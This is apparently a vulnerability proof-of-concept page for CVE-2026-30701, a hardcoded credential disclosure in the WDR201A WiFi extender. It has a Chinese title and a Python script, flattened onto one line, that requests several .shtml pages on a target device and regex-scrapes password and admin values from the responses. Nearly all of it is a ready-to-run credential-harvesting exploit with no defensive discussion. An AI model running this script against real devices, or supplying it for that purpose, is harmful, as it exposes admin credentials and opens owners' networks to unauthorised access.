CVE-2026-30701 WiFi Extender WDR201A 硬编码凭证泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-30701 PoC - WiFi Extender WDR201A Hardcoded Credential Disclosure This PoC demonstrates the Server Side Include (SSI) credential disclosure vulnerability """ import requests import re import sys TARGET_URL = "http://target-device-ip" VULNERABLE_PAGES = [ "/login.shtml", "/settings.shtml", "/status.shtml", "/wireless.shtml" ] def extract_credential(content): """Extract potential credentials from SSI response""" # Common patterns for password exposure patterns = [ r'password["\'\s:=]+([^<>"\'\s]+)', r'admin["\'\s:=]+([^<>"\'\s]+)', r'passwd["\'\s:=]+([^<>"\'\s]+)', r'value=["\']([^"\'<>]+)["\']', ] credentials = [] for pattern in patterns: matches = re.findall(pattern, content, re.IGNORECASE) credentials.extend(matches) return list(set(credentials)) def check_vulnerability(target): """Check if target is vulnerable to CVE-2026-30701""" print(f"[*] Testing target: {target}") print(f"[*] CVE-2026-30701: WDR201A SSI Credential Disclosure\n") found_creds = [] for page in VULNERABLE_PAGES: try: url = f"{target}{page}" print(f"[*] Requesting: {url}") response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: creds = extract_credential(response.text) if creds: print(f"[+] Potential credentials found on {page}:") for cred in creds: print(f" - {cred}") found_creds.extend(creds) except requests.RequestException as e: print(f"[!] Error accessing {page}: {e}") if found_creds: print(f"\n[!] VULNERABLE: Found {len(found_creds)} potential credentials") return True else: print(f"\n[*] No obvious credentials found (manual inspection recommended)") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability(TARGET_URL)